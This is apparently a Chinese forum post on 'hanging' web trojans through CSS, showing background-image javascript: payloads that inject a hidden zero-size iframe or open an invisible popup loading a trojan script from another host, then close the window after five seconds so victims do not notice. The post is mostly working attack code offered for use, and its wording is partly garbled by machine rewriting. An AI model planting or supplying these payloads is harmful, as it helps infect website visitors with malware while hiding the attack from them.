真正能用,尚有点结果的CSS挂马代码的要领

网上风行的:
body
{ 
background-image: url('javascript:document.write("<Iframe src=http://192.168.0.5/test.htm width=0 height=0></iframe>")')
}
//此要了解使主页不正常.返回一片空缺.
用弹窗.
body
{ 
background-image: url('javascript:open("http://192.168.0.5/test.htm")')
}
//弹出一个框.丢脸 易被发明.
改造一下:

body
{ 
background-image: url(javascript:open('http://192.168.0.5/test.htm','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))
}
test.htm内里的代码,a.js为你的网马,弹出一个不行见的窗口,并在5秒自动后封锁没提示:
<script src="a.js"></script>
<script>
window.opener=null;setTimeout("window.close();",5000);
</script> 
a.js内容:
document.write('<Iframe src="http://192.168.0.5/calc.htm"></iframe>'); 
请指教.